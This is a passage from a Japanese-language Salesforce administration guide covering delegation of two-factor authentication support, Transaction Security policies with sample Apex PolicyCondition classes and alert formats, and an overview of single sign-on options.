クリックして、ID 検証方法レポートを表示およびカスタマイズできます。
「設定・定義を参照する」権限のあるユーザは、[レポート] の [管理レポート] からもこのレポートにアクセス
できます。
「API で 2 要素認証を管理」権限のあるユーザは、組織またはコミュニティでの ID 検証履歴の詳細なインサイ
トを得るためのカスタムレポートおよびダッシュボードを作成できます。たとえば、ID 検証方法の登録をプロ
ファイル別に表示するレポートを作成します。または、検証方法の登録および検証の要求を、トリガした組織
ポリシー別に表示するグラフ付きのダッシュボードを作成します。

関連トピック:

2 要素認証
2 要素認証の管理任務の委任

1025

ユーザの認証Salesforce 組織の設定および管理



2 要素認証の管理任務の委任

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルと権限セッ
トを編集する
• 「プロファイルと権限

セットの管理」

Salesforceシステム管理者ではないユーザが、組織内の 2 要素認証のサポートを提
供できるようにします。たとえば、2 要素認証に通常使用しているデバイスを紛
失したか、忘れたユーザのために、社内のヘルプデスクのスタッフが仮の確認
コードを生成できるようにするとします。ヘルプデスクのスタッフメンバーに
「ユーザインターフェースで 2 要素認証を管理」権限を割り当てると、スタッ
フはコードを生成し、他の 2 要素認証任務でエンドユーザをサポートできます。
権限を割り当てるには、ユーザプロファイル (コピーされたプロファイルのみ)

または権限セットの「ユーザインターフェースで 2 要素認証を管理」権限を選
択します。この権限を持つユーザは、次の作業を実行できます。
• 2 要素認証に通常使用しているデバイスにアクセスできないユーザのために

仮の確認コードを生成する。
• ユーザがデバイスを紛失または交換したときに、ユーザアカウントから ID 検

証方法を切断する。
• [ID 検証履歴] ページにユーザの ID 検証アクティビティを表示する。
• [ID 検証履歴] ページのリンクをクリックして Identity Verification Methods レポー

トを表示する。
• ユーザが登録した ID 検証方法を示すユーザリストビューを作成する。

メモ: この権限を持つシステム管理者以外のユーザは、ID 検証方法レポー
トを参照できますが、「ユーザの管理」権限を持つユーザ限定のデータが
含まれるカスタムレポートを作成することはできません。

関連トピック:

Salesforce 組織の保護
ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断
ユーザのワンタイムパスワードジェネレータアプリケーションの切断
仮の ID 確認コードの生成
仮の確認コードの期限切れ
ユーザによる ID の検証方法の確認
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トランザクションセキュリティ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

トランザクションセキュリティは、Salesforce リアルタイムイベントを受信し、
作成したセキュリティポリシーに基づいて適切なアクションと通知を適用する
フレームワークです。トランザクションセキュリティは、設定したポリシーに
基づいてイベントを監視します。これらのポリシーは組織内のイベントに適用
され、特定のイベントの組み合わせが生じた場合に実行するアクションを指定
します。ポリシーがトリガされると、アクションが実行され、必要に応じて通
知を受信できます。

トランザクションセキュリティポリシー
ポリシーは、指定したイベントを使用してアクティビティを評価します。ポ
リシーごとに、通知、ブロック、2 要素認証の強制、セッションの終了など
のリアルタイムアクションを定義します。
トランザクションセキュリティの測定
トランザクションセキュリティでは、共有のマルチテナントプラットフォー
ムリソースの悪意ある独占または意図しない独占を防ぐために、リソース測
定を使用します。測定を使用することで、ポリシー評価が使用するリソース
が多くなりすぎて組織に影響が及ぶことを防止できます。
トランザクションセキュリティの設定
カスタムポリシーを作成する前に組織のトランザクションセキュリティを有効化および設定します。この
機能を使用できるのは、システム管理者プロファイルが割り当てられた有効ユーザのみです。
カスタムトランザクションセキュリティポリシーの作成
特定のイベントでトリガされる独自のカスタムポリシーを作成します。この機能を使用できるのは、シス
テム管理者プロファイルが割り当てられた有効ユーザのみです。
トランザクションセキュリティ通知の Apex ポリシー
すべてのトランザクションセキュリティポリシーでApex TxnSecurity.PolicyConditionインターフェー
スを実装する必要があります。次に、いくつか例を示します。
トランザクションセキュリティポリシーの管理
トランザクションセキュリティポリシーを使用して、ポリシーを実装するApexコードの定義、有効化、お
よび生成を行います。ポリシーがトリガされた場合の通知方法を指定し、有効にするポリシーを選択しま
す。この機能を使用できるのは、システム管理者プロファイルが割り当てられた有効ユーザのみです。
トランザクションセキュリティ通知の受信
有効にしたポリシーがトリガされると、選択した方法で通知を受信します。この通知はわかりやすい書式
で記載されています。
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トランザクションセキュリティポリシー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

ポリシーは、指定したイベントを使用してアクティビティを評価します。ポリ
シーごとに、通知、ブロック、2 要素認証の強制、セッションの終了などのリア
ルタイムアクションを定義します。
組織のトランザクションセキュリティを有効にすると、次の 2 つのポリシーが
作成されます。
• 同時ログインセッション数を制限する同時セッションの制限ポリシー
• リードでデータダウンロードの超過をブロックするリードデータエクスポー

トポリシー
ポリシーの対応する Apex クラスも組織に作成されます。システム管理者は、ポ
リシーをすぐに有効にしたり、Apex クラスを編集してポリシーをカスタマイズ
したりできます。
たとえば、ユーザあたりの同時セッション数を制限する同時セッションの制限
ポリシーを有効化するとします。また、ポリシーがトリガされた場合にメール
で通知されるように、ポリシーを変更します。さらに、ポリシーの Apex 実装を
更新して、デフォルトの 5 セッションではなく 3 セッションにユーザを制限しま
す (大変な作業のように聞こえますが、実際は簡単です)。その後で、3 つのログ
インセッションを持つユーザが 4 つ目のセッションを作成しようとします。この操作はポリシーにより回避さ
れ、新しいセッションを始める前に既存のいずれかのセッションを終了するように要求されます。同時に、ポ
リシーがトリガされたことがユーザに通知されます。
トランザクションセキュリティアーキテクチャでは、セキュリティポリシーエンジンを使用して、イベントを
分析し必要なアクションを判断します。

トランザクションセキュリティポリシーは、イベント、通知、およびアクションで構成されます。
• 使用可能なイベント種別は次のとおりです。

– 取引先、取引先責任者、リード、商談オブジェクトのデータのエクスポート
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– 認証プロバイダ、認証セッション、クライアントブラウザ、ログイン IP のエンティティ
– ログイン
– 接続アプリケーション、レポート、ダッシュボードのリソースアクセス

• メール、アプリケーション内通知あるいはその両方で通知を受けることができます。
• ポリシーがトリガされた場合に実行されるアクションは、次のとおりです。

– 操作をブロックする
– 2 要素認証を使用した高いレベルの保証を必須とする
– 現在のセッションを終了する
アクションを実行せずに、通知のみを受信することもできます。使用可能なアクションは、選択したイベ
ント種別によって異なります。

トランザクションセキュリティの測定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

トランザクションセキュリティでは、共有のマルチテナントプラットフォーム
リソースの悪意ある独占または意図しない独占を防ぐために、リソース測定を
使用します。測定を使用することで、ポリシー評価が使用するリソースが多く
なりすぎて組織に影響が及ぶことを防止できます。
ポリシーはリソースの均一な使用で測定されます。ポリシー要求を十分に速く
処理できない場合、フェイルクローズ動作が発生し、アクセスがブロックされ
ます。トランザクションセキュリティでは、ポリシー実行を制限することによっ
て測定を実装しています。実行経過時間が 3 秒を超えると、ユーザはリソース
またはエンティティにアクセスできなくなります。
次に、ログインポリシーの測定の動作方法について例を挙げて説明します。組
織には通知アクションを設定したログインポリシーがあります。あるユーザが
同時に 4 つのログイン要求を行いましたが、そのすべてを十分な時間で実行で
きません。トランザクションセキュリティによってポリシーの処理が停止され、
フェイルクローズ状態になり、4 つすべてのログイン要求がブロックされます。
ポリシー評価が完了しないため、通知は送信されません。
測定によってポリシーの実行が停止した場合には、ログエントリが追加されま
す。一般的なログエントリは次のようになります。読みやすくするために改行が追加されています。
X`20161114191026.049`47QzdteNgKerfgVUOhGMtk`2159270`0`0``unowned````47QzdteNfBerfgVUOhGMtk``unowned`
`INFO`Api`TxnSecurity: Metering is *TERMINATING* policy execution. Reason - fail-close
behavior triggered, possible reasons
1) timeout=[3] (seconds)
2) Executor service exception
3) Unable to create task for executor, Transaction security
policies=[[PolicyImpl{policyName=SSOSecurity}]]
triggered by event=[LoginEvent{id=6e34500a-8a09-4981-9a7f-e8f1830b6b94,
timestamp=2016-11-14T19:10:23.046Z,
organizationId=00D10000000H6US, userId=xxxxx, eventType=Login(db=1,api=Login),
data={LoginHistoryId=xxxx, UserName=xxxx}, message=xxxx}]
java.util.concurrent.TimeoutException at
java.util.concurrent.FutureTask.get(FutureTask.java:205) at
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transaction.security.metered.event.processor.service.TransactionSecurityMeteredEventProcessorServiceImpl.
processEvent(TransactionSecurityMeteredEventProcessorServiceImpl.java:70)

トランザクションセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

ユーザ権限

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

カスタムポリシーを作成する前に組織のトランザクションセキュリティを有効
化および設定します。この機能を使用できるのは、システム管理者プロファイ
ルが割り当てられた有効ユーザのみです。
1. トランザクションセキュリティポリシーを有効にして使用できるようにしま

す。
a. [設定] から、[クイック検索]ボックスに「トランザクションセキュリティ」

と入力し、[トランザクションセキュリティ] を選択します。
b. ページ上部で[カスタムトランザクションセキュリティポリシーを有効化]

を選択します。
同時セッション数を制限する ConcurrentSessionsLimitingPolicy がトリガされる状
況は 2 つあります。
• 5 つの同時セッションがあるユーザが 6 番目のセッションにログインしよ

うとする場合
• すでにログインしているシステム管理者が 2 回目のログインを試行する場

合
許可されるセッション数を調整するには、Apex ポリシー実装の
ConcurrentSessionsPolicyCondition を変更します。
リードデータエクスポートポリシーは、リードでのデータダウンロードの超
過をブロックします。次のいずれかのダウンロードが行われる場合にトリガ
されます。
• 2,000 件を超えるリードレコードの取得
• 完了までに 1 秒超かかる
DataLoaderLeadExportConditionポリシー実装を変更することで、これ
らの値を変更できます。

2. トランザクションセキュリティが有効になったら、組織の設定を指定します。
a. [トランザクションセキュリティポリシー] ページで、[デフォルト設定] をクリックします。
b. [許可されている Salesforce セッションの最大数を超えると、最も古いセッションが終了します。] 設定

を選択します。
ログインポリシーは、プログラムによるアクセスや、Salesforce ClassicおよびLightning Experienceからのアクセ
スに適用されます。同時ユーザセッション数を制限するポリシーを作成すると、すべてのセッションがそ
の制限にカウントされます。ユーザ名とパスワードを使用する通常のログイン、Web アプリケーションに
よるログイン、認証プロバイダを使用するログイン、およびその他のすべてのログイン種別が対象となり
ます。
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Salesforce ClassicまたはLightning Experienceでは、終了するセッションを選択するように求められるため、セッ
ション制限は問題になりません。プログラム内でこの選択を行うことはできないため、セッション制限に
達したことを示すトランザクションセキュリティ例外がプログラムで発生します。
この問題を回避するには、[許可されている Salesforce セッションの最大数を超えると、最も古いセッショ
ンが終了します。]を選択します。これにより、許可されたセッション数を超える要求がプログラムで行わ
れた場合、セッション数が制限を下回るまで古いセッションが終了します。この設定は、UI からのログイ
ンでも機能します。終了するセッションを選択するように求める代わりに、最も古いセッションが自動的
に終了し、新しいセッションで新規ログインが開始します。次に、OAuth フローでログインポリシーを処理
する方法 (設定が選択されている場合とされていない場合) を示します。

設定が選択されていない場合のアクショ
ン

設定が選択されている場合のアクションフロー種別

認証コードは付与されるが、アクセス
トークンは付与されない
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

認証コードとアクセストークンが付与さ
れる
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 Web サーバ

アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 ユーザエー
ジェント

TXN_SECURITY_END_SESSION 例外アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 更新トークン
フロー

TXN_SECURITY_END_SESSION 例外アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 JWT ベアラー
トークン

TXN_SECURITY_END_SESSION 例外アクセス権が付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 SAML ベアラー
アサーション

ポリシーで許可されているセッション数
を超えたことが原因でアクセスが拒否さ
れる

アクセス権が付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 ユーザ名およ
びパスワード

該当なし該当なしSAML アサーション

認証フローについての詳細は、Salesforceヘルプの「OAuth によるアプリケーションの認証」を参照してくだ
さい。
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カスタムトランザクションセキュリティポリシーの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

ユーザ権限

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

特定のイベントでトリガされる独自のカスタムポリシーを作成します。この機
能を使用できるのは、システム管理者プロファイルが割り当てられた有効ユー
ザのみです。
1. [設定] から、[クイック検索]ボックスに「トランザクションセキュリティ」と

入力し、[トランザクションセキュリティ] を選択して、カスタムトランザク
ションセキュリティポリシーの [新規] をクリックします。

2. 新しいポリシーの基本情報項目を入力します。
• わかりやすさとメンテナンス性を考慮して、API とポリシーに同じような

名前を使用します。この名前は、アンダースコアと英数字のみを使用で
き、組織内で一意にする必要があります。最初は文字であること、空白
は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダー
スコアを使用しないという制約があります。

• 行動の種別  — 使用可能なアクションを決定します。次のいずれかになり
ます。
– ログイン — ユーザのログイン。ログインでは、通知の任意の組み合わ

せと次のアクションを設定できます。
• アクセスを完全にブロックする
• 続行して 2 要素認証の使用を必須とする
• 続行して現在のログインセッションの終了を必須とする

– エンティティ — オブジェクト種別。特定のリソースおよび目的の通知
種別を選択します。

– データのエクスポート — 選択したオブジェクト種別がエクスポートさ
れた場合に通知します。使用できるオブジェクト種別は、取引先、
ケース、取引先責任者、リード、および商談です。ポリシーをトリガ
するには、[レポート] タブから、またはデータローダやワークベンチなどの API クライアントからデ
フォルトのレポートタイプを使用して、エクスポートを実行する必要があります。

– AccessResource — 選択したリソースへのアクセスがあった場合に通知します。アクセスをブロックし
たり、アクセスを許可する前に 2 要素認証を必須にしたりできます。

• 通知  — ポリシーごとに通知方法 (すべて、一部、なし) を選択できます。
• 受信者  — システム管理者プロファイルが割り当てられた有効ユーザである必要があります。
• リアルタイムアクション  — ポリシーがトリガされたときに実行されるアクションを指定します。使用可

能なアクションは、イベント種別によって異なります。メール通知とアプリケーション内通知は常に使
用可能です。ログインイベントおよびリソースイベントの場合、アクションをブロックしたり、2 要素
認証を使用した高いレベルのアクセス制御を必須としたりすることもできます。ログインイベントの場
合、現在のセッションを続行する前に既存のセッションを終了することを必須にできます。常に最も古
いセッションが終了するように、セッション終了のデフォルトアクションを設定できます。

メモ: Salesforce1または Lightning Experienceの場合、AccessResource イベント種別で 2 要素認証を使用す
ることはできません。代わりに [ブロック] アクションが使用されます。
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重要:  2 要素認証アクションを要求するポリシーを作成する場合、時間ベースのワンタイムパスワー
ドを取得する手段をユーザに提供します。このパスワードは、2 番目の認証要素になります。これ
を行わないと、ユーザが 2 番目の認証要素を求められる状況になった場合に、ログインやレポート
の実行などの作業を完了できなくなります。

• [Apex ポリシー] の既存のクラスを使用することも、[Apex を生成] を選択して、
TxnSecurity.PolicyCondition インターフェースを実装するデフォルトポリシークラスを作成する
こともできます。また、組織に追加したカスタマイズを活用する独自のポリシーを作成できます。

• [他のアカウントでポリシーを実行] に選択するユーザには、システム管理者プロファイルが必要です。

3. 必要に応じて、ポリシーの一部として特定のプロパティの条件を作成できます。たとえば、特定のソース
IP からレポートまたはダッシュボードへのアクセスがあった場合にトリガされるポリシーを作成できます。
ソース IP は、チェック対象のプロパティです。
• 使用可能なプロパティは、選択したイベント種別によって異なります。
• たとえばログインイベントでは、特定の日数内に発生したプロパティの変更やプロパティ値の完全一致

を検索できます。

4. ポリシーを有効にするには、ポリシーのチェックボックスをオンにします。要件に基づいて、ポリシーを
有効および無効にできます。

5. [保存] をクリックします。
選択内容を保存すると、新しいポリシーの編集ページが表示されます。ここでは、ポリシーを変更したり、そ
の Apex クラスを確認したりできます。
ポリシーの Apex インターフェースを生成する前に条件値を指定していなかった場合、後で条件を追加できま
す。条件を変更する場合は編集できます。ポリシーを有効化する前に、Apex コードを編集して条件を含めま
す。条件を含めないと、ポリシーはトリガされません。例については、「トランザクションセキュリティ通知
の Apex ポリシー」を参照してください。
同じイベント種別に複数のポリシーを作成できますが、ポリシーとそのアクションは重複しないようにするこ
とをお勧めします。特定のイベントが発生するとそのイベントのすべてのポリシーが実行されますが、実行順
序は不確定です。たとえば、エクスポートされる取引先責任者に 2 つのポリシーが有効になっている場合、ど
ちらのポリシーが最初にトリガされるのかはわかりません。一方のポリシーでは取引先責任者がコピーされ、
もう一方のポリシーでは取引先責任者が削除される場合、削除が最初に実行されるとコピー操作に失敗しま
す。
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トランザクションセキュリティ通知の Apex ポリシー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

すべてのトランザクションセキュリティポリシーで Apex

TxnSecurity.PolicyCondition インターフェースを実装する必要がありま
す。次に、いくつか例を示します。
ポリシーの Apex インターフェースを生成する前に条件値を指定していなかった
場合、後で条件を追加できます。条件を変更する場合は編集できます。ポリシー
を有効化する前に、Apexコードを編集して条件を含めます。条件を含めないと、
ポリシーはトリガされません。次に、条件の作成方法の例を示します。
カスタムポリシーに DML (Data Manipulation Language) ステートメントを追加しない
でください。true または false のどちらに評価されるかに関係なく、トラン
ザクションセキュリティポリシーが評価されると、DML 操作はロールバックさ
れます。
トランザクションセキュリティポリシーを削除しても、
TxnSecurity.PolicyCondition実装は削除されません。Apexコードを他のポ
リシーで再利用できます。
このApexポリシーの例では、過去 24 時間でいずれかのユーザが複数の IP アドレ
スからログインしたときにトリガされるポリシーが実装されています。

例:

global class LoginPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
AggregateResult[] results = [SELECT SourceIp

FROM LoginHistory
WHERE UserId = :e.userId

AND LoginTime = LAST_N_DAYS:1
GROUP BY SourceIp];

if(!results.isEmpty() && results.size() > 1) {
return true;

}
return false;

}
}

この Apex ポリシーの例では、セッションが特定の IP アドレスから作成されたときにトリガされるポリシーが
実装されています。

例:

global class SessionPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
AuthSession eObj = [SELECT SourceIp FROM AuthSession WHERE Id = :e.entityId];
if(eObj.SourceIp == '1.1.1.1' ){
return true;

}
return false;

}
}
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この DataExport ポリシーでは、いずれかのユーザがデータローダ経由でデータをエクスポートしたときにトリ
ガされるポリシーが実装されています。

例:

global class DataExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SourceIp') == '1.1.1.1' ){
return true;

}
return false;

}
}

この Apex ポリシーは、いずれかのユーザがレポートにアクセスしたときにトリガされます。

例:

global class ReportsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' ){
return true;

}
return false;

}
}

この Apex ポリシーは、いずれかのユーザが接続アプリケーションにアクセスしたときにトリガされます。

例:

global class ConnectedAppsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' && (e.entityId == '0CiD00000004Cce')){

return true;
}
return false;

}
}

関連トピック:

PolicyCondition のその他の実装例
Apex DML 操作
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トランザクションセキュリティポリシーの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

ユーザ権限

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

トランザクションセキュリティポリシーを使用して、ポリシーを実装する Apex

コードの定義、有効化、および生成を行います。ポリシーがトリガされた場合
の通知方法を指定し、有効にするポリシーを選択します。この機能を使用でき
るのは、システム管理者プロファイルが割り当てられた有効ユーザのみです。
1. [設定] から、[クイック検索]ボックスに「トランザクションセキュリティ」と

入力し、[トランザクションセキュリティ] を選択します。
2. [トランザクションセキュリティポリシー] ページから、次の操作を実行でき

ます。
• ビューの編集
• ビューの作成
• ポリシーの編集
• ポリシーの作成
• ポリシーの TxnSecurity.PolicyCondition Apex クラスの編集
• ポリシーの削除
• トランザクションセキュリティのデフォルト設定の指定

トランザクションセキュリティのデフォルト設定はいつでも変更できます。
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トランザクションセキュリティ通知の受信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Shield Event
Monitoring アドオンサブス
クリプションを購入する
必要があります。

有効にしたポリシーがトリガされると、選択した方法で通知を受信します。こ
の通知はわかりやすい書式で記載されています。

メール通知
トランザクションセキュリティからのメール通知は、「トランザクションセキュ
リティアラート!」という件名で送信されます。メッセージの本文には、トリガ
されたポリシーと、ポリシーをトリガしたイベントが記載されています。ポリ
シーがトリガされた時刻は、受信者のロケールおよびタイムゾーンで表示され
ます。たとえば、ポリシーが東部標準時間の午後 6 時 46 分にトリガされたとし
ます。通知を受信するシステム管理者が太平洋標準時間の地域にいる場合、時
刻は太平洋標準時間で表されます。次に例を示します。

例:

From: Transaction Security <noreply@salesforce.com>
To: Admin@company.com
Sent: Friday, November 12, 2014, 5:35 PM
Subject: Transaction Security Alert!

This is a transaction security policy alert.

Policy: An administrator created a new user.

Event(s) responsible for triggering this policy:
1. Created new user Lisa Johnson at 11/12/2014 5:35:09 PM PST

アプリケーション内通知
アプリケーション内通知を利用できるのは、Salesforce1ユーザに限られます。通知には、トリガされたポリシー
が一覧表示されます。次に例を示します。

例:

Transaction Security Alert:
Policy New Encrypted Custom Field was triggered.
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シングルサインオン
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

シングルサインオン (SSO) を使用すると、ユーザが 1 回のログインで複数の承認
済みネットワークリソースにアクセスできます。企業ユーザのデータベースま
たはクライアントアプリケーションに対してユーザ名とパスワードを検証でき、
リソースごとに個別の Salesforce 管理のパスワードは必要ありません。
Salesforce では、次の方法で SSO を使用できます。
• Security Assertion Markup Language (SAML) を使用する統合認証を使用すると、関連

付けられているが関連のない Web サービス間で認証データを送信することが
できます。クライアントアプリケーションから Salesforce にログインできま
す。Salesforce では、自動的に組織の統合認証が有効になります。

• 代理認証の SSO を使用すると、Salesforce と選択した認証メソッドを統合する
ことができます。これにより、LDAP (Lightweight Directory Access Protocol) サーバ
による認証を統合するか、認証にパスワードの変わりにトークンを使用する
ことができます。代理認証は組織レベルではなく権限レベルで管理するた
め、柔軟性がより高くなります。権限を使用すれば、一部のユーザには代理
認証を義務付け、その他のユーザはSalesforceによって管理されるパスワード
を使用するようにできます。
代理認証には次の利点があります。
– 安全な ID プロバイダとのインテグレーションなど、より厳密なユーザ認

証を使用できる
– ログインページを非公開にし、企業ファイアウォールの内側からのみア

クセスできるようにする
– フィッシング攻撃を減らすために、Salesforceを使用する他のすべての企業

と差別化できる
代理認証を組織で設定する前に、Salesforce に連絡して代理認証を有効にする
必要があります。

• 認証プロバイダは外部サービスプロバイダのログイン情報を使用して、
Salesforce組織にユーザがログインできるようにします。Salesforceでは、OpenID

Connect プロトコルがサポートされており、ユーザは任意の OpenID Connect プ
ロバイダ (Google、PayPal、LinkedIn など) からログインできます。認証プロバイ
ダが有効化されている場合、Salesforce はユーザのパスワードを検証しませ
ん。代わりに、Salesforce は外部サービスプロバイダのユーザログイン情報を
使用して、認証情報を設定します。

外部 ID プロバイダを使用しており、Salesforce組織に SSO を設定する場合、Salesforce

はサービスプロバイダとして機能します。また、Salesforce を ID プロバイダとし
て有効化し、他のサービスプロバイダへの接続に SSO を使用することもできます。SSO を設定する必要がある
のはサービスプロバイダのみです。
[シングルサインオン設定] ページには、組織でどのバージョンの SSO が使用可能かが表示されます。SSO の設
定についての詳細は、「シングルサインオン用の SAML 設定」を参照してください。SAML および Salesforce セ
キュリティについての詳細は、『セキュリティ実装ガイド』を参照してください。
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SSO の利点
SSO の実装には、組織にとっていくつかの利点があります。
• 管理コストの削減 — SSO を使用すると、ユーザはパスワードを 1 つ覚えるだけで、ネットワークリソース

や外部アプリケーションと Salesforce にアクセスできます。企業ネットワークの内側から Salesforce にアクセ
スするとき、ユーザはシームレスにログインでき、ユーザ名やパスワードの入力を求められることはあり
ません。企業ネットワークの外側から Salesforce にアクセスするとき、ユーザの企業ネットワークログイン
により、ログインできます。管理するパスワードが少なくなればそれだけ、パスワード忘れのためにシス
テム管理者にパスワードリセットを要求することも少なくなります。

• 既存の投資の活用 — 多くの企業が中央 LDAP データベースを使用してユーザ ID を管理しています。Salesforce

認証をこのシステムに委任できます。ユーザが LDAP システムから削除されると、Salesforce にアクセスでき
なくなります。退社するユーザは、離職後の会社のデータへのアクセス権を自動的に失うことになります。

• 時間の節約 – ユーザがオンラインアプリケーションにログインするには平均 5 ～ 20 秒かかります。ユーザ
名やパスワードの入力ミスがあって再入力を求められた場合には、さらに長い時間がかかります。SSO を使
用すると、Salesforce に手動でログインする必要はなくなります。この数秒の節約が、ストレスを軽減し、
生産性の向上につながります。

• ユーザの採用の増加 — ログインしなくてよいという便利さから、ユーザは日常的にSalesforceを使用するよ
うになります。たとえば、ユーザはメールメッセージにレコードやレポートなどの Salesforce 内の情報への
リンクを記載して送信できます。メールの受信者がリンクをクリックすると、対応する Salesforce ページが
開きます。

• セキュリティの向上 — 企業ネットワーク用に作成したすべてのパスワードポリシーは、Salesforceにも有効
となります。1 回の使用のみ有効な認証情報を送信することで、機密データへのアクセス権を持つユーザに
対するセキュリティの向上も図れます。

シングルサインオン実装のベストプラクティス
Salesforce では一連のベストプラクティスが提供され、代理認証、SAML を使用した統合認証、ポータル用の
シングルサインオン (SSO)、サイト用の SSO を実装するとき、これに従うことができます。
代理認証シングルサインオン
代理認証シングルサインオン (SSO) を使用すると、Salesforceを好みの認証方法と統合できます。LDAP (Lightweight

Directory Access Protocol) サーバと統合するか、パスワードの代わりにトークンで認証できます。代理認証は
組織レベルではなく権限レベルで管理するため、柔軟性がより高くなります。権限を使用すれば、一部の
ユーザには代理認証を義務付け、その他のユーザは Salesforce によって管理されるパスワードを使用するよ
うにできます。
代理認証向けの Salesforce 設定
代理認証は組織レベルではなく権限レベルで管理するため、柔軟性がより高くなります。権限を使用すれ
ば、一部のユーザには代理認証を義務付け、その他のユーザは Salesforce によって管理されるパスワードを
使用するようにできます。Salesforce に問い合わせて代理認証機能を有効にしてから、組織で設定する必要
があります。
Salesforce 組織への個々の API クライアントアクセスの制御
API クライアントホワイトリストでは、データローダなどのすべての API クライアントアプリケーションを
制限し、ユーザのプロファイルまたは権限セットに「任意の API クライアントを使用」権限がない場合はシ
ステム管理者の承認を必須にすることができます。
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シングルサインオンのログインエラーの参照
SAML

企業ポータルまたは ID プロバイダから Salesforce にシングルサインオンするため、Salesforce ID では XML ベー
スの Security Assertion Markup Language (SAML) プロトコルが使用されます。SAML を使用すると、Salesforce から
Microsoft 365 へというようにサービス間でユーザ情報を転送できます。
SAML 用のジャストインタイムプロビジョニングについて
外部認証プロバイダ
認証プロバイダは外部サービスプロバイダのログイン情報を使用して、Salesforce 組織にユーザがログイン
できるようにします。Salesforce では、OpenID Connect プロトコルをサポートするアプリケーションには、
Google、Facebook、Twitter、LinkedIn などの認証プロバイダが提供されます。OpenID Connect をサポートしない
アプリケーションには、カスタム認証プロバイダの作成に使用できるApexの Auth.AuthProviderPlugin

インターフェースが提供されます。
Frontdoor.jsp を使用した Salesforce へのログイン
frontdoor.jsp を使用すると、リモートアクセスの Force.com サイトなど、カスタムの Web インターフェースか
ら、既存のセッション ID とサーバ URL を使用して Salesforce にアクセスする権限をユーザに付与できます。
要求パラメータとクライアント設定 URL の使用
要求パラメータを使用して、認証プロバイダに機能を追加します。たとえば、ユーザの特定サイトへのロ
グイン、サードパーティからのカスタマイズされた権限の取得、認証後の特定の場所への移動を行うため
に、要求パラメータを使用します。
ID プロバイダとサービスプロバイダ
ID プロバイダは、ユーザがシングルサインオンを使用して他の Web サイトにアクセスできるようにする信
頼済みプロバイダです。サービスプロバイダは、アプリケーションをホストする Web サイトです。Salesforce

